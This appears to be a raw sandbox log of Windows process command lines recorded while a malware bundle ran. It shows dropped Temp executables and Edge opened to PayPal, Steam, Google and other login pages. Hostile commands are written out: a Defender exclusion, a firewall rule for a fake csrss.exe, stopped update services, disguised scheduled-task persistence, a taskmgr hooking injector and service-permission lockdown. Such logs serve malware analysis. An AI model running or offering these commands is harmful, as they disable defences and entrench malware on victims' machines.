"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ff92d7846f8,0x7ff92d784708,0x7ff92d784718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6496 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6636 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6680 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5464 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5428 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7548 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7548 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7936 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7924 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6516 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8152 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\5C54.exe

C:\Users\Admin\AppData\Local\Temp\5C54.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ce0Jy5LI.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ce0Jy5LI.exe

C:\Users\Admin\AppData\Local\Temp\5CF1.exe

C:\Users\Admin\AppData\Local\Temp\5CF1.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Hb3tq8Vz.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Hb3tq8Vz.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\fq9bZ8Ym.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\fq9bZ8Ym.exe

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5E1B.bat" "

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\eX2rY5HT.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\eX2rY5HT.exe

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1xb98JM7.exe

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1xb98JM7.exe

C:\Users\Admin\AppData\Local\Temp\5EA8.exe

C:\Users\Admin\AppData\Local\Temp\5EA8.exe

C:\Users\Admin\AppData\Local\Temp\5F65.exe

C:\Users\Admin\AppData\Local\Temp\5F65.exe

C:\Users\Admin\AppData\Local\Temp\6070.exe

C:\Users\Admin\AppData\Local\Temp\6070.exe

C:\Users\Admin\AppData\Local\Temp\6274.exe

C:\Users\Admin\AppData\Local\Temp\6274.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff92d7846f8,0x7ff92d784708,0x7ff92d784718

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1656 -ip 1656

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6884 /prefetch:1

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1656 -s 540

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4424 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2Th956iw.exe

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2Th956iw.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 5040 -ip 5040

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 5040 -s 784

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff92d7846f8,0x7ff92d784708,0x7ff92d784718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8336 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://store.steampowered.com/login/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff92d7846f8,0x7ff92d784708,0x7ff92d784718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8236 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://twitter.com/i/flow/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff92d7846f8,0x7ff92d784708,0x7ff92d784718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://steamcommunity.com/openid/loginform/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff92d7846f8,0x7ff92d784708,0x7ff92d784718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.epicgames.com/id/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff92d7846f8,0x7ff92d784708,0x7ff92d784718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8876 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff92d7846f8,0x7ff92d784708,0x7ff92d784718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.paypal.com/signin

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9008 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9164 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9176 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x100,0xd8,0x104,0xfc,0x108,0x7ff92d7846f8,0x7ff92d784708,0x7ff92d784718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9552 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9900 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9684 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=7644 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=8628 /prefetch:8

C:\Windows\system32\AUDIODG.EXE

C:\Windows\system32\AUDIODG.EXE 0x150 0x4e4

C:\Users\Admin\AppData\Local\Temp\884D.exe

C:\Users\Admin\AppData\Local\Temp\884D.exe

C:\Users\Admin\AppData\Local\Temp\8BC8.exe

C:\Users\Admin\AppData\Local\Temp\8BC8.exe

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe

"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"

C:\Users\Admin\AppData\Local\Temp\kos4.exe

"C:\Users\Admin\AppData\Local\Temp\kos4.exe"

C:\Users\Admin\AppData\Local\Temp\latestX.exe

"C:\Users\Admin\AppData\Local\Temp\latestX.exe"

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Users\Admin\AppData\Local\Temp\A06B.exe

C:\Users\Admin\AppData\Local\Temp\A06B.exe

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe

"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"

C:\Users\Admin\AppData\Local\Temp\is-6PF8V.tmp\LzmwAqmV.tmp

"C:\Users\Admin\AppData\Local\Temp\is-6PF8V.tmp\LzmwAqmV.tmp" /SL5="$60268,3039358,68096,C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"

C:\Users\Admin\AppData\Local\Temp\A696.exe

C:\Users\Admin\AppData\Local\Temp\A696.exe

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"

C:\Program Files (x86)\KAudioConverter\KAudioConverter.exe

"C:\Program Files (x86)\KAudioConverter\KAudioConverter.exe" -i

C:\Users\Admin\AppData\Local\Temp\AC53.exe

C:\Users\Admin\AppData\Local\Temp\AC53.exe

C:\Program Files (x86)\KAudioConverter\KAudioConverter.exe

"C:\Program Files (x86)\KAudioConverter\KAudioConverter.exe" -s

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4696 -ip 4696

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4696 -s 784

C:\Users\Admin\AppData\Local\Temp\B04C.exe

C:\Users\Admin\AppData\Local\Temp\B04C.exe

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\system32\schtasks.exe" /Delete /F /TN "HAC1030-3"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 9012 -ip 9012

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 9012 -s 572

C:\Windows\SysWOW64\rundll32.exe

"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe

"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\system32\cmd.exe

C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"

C:\Windows\system32\netsh.exe

netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-dc 0

C:\Windows\System32\schtasks.exe

C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"

C:\Program Files\Google\Chrome\updater.exe

"C:\Program Files\Google\Chrome\updater.exe"

C:\Windows\rss\csrss.exe

C:\Windows\rss\csrss.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\SYSTEM32\schtasks.exe

schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F

C:\Windows\SYSTEM32\schtasks.exe

schtasks /delete /tn ScheduledUpdate /f

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll

C:\Windows\SYSTEM32\schtasks.exe

schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F

C:\Windows\windefender.exe

"C:\Windows\windefender.exe"

C:\Windows\SysWOW64\cmd.exe

cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

C:\Windows\SysWOW64\sc.exe

sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

C:\Windows\windefender.exe

C:\Windows\windefender.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

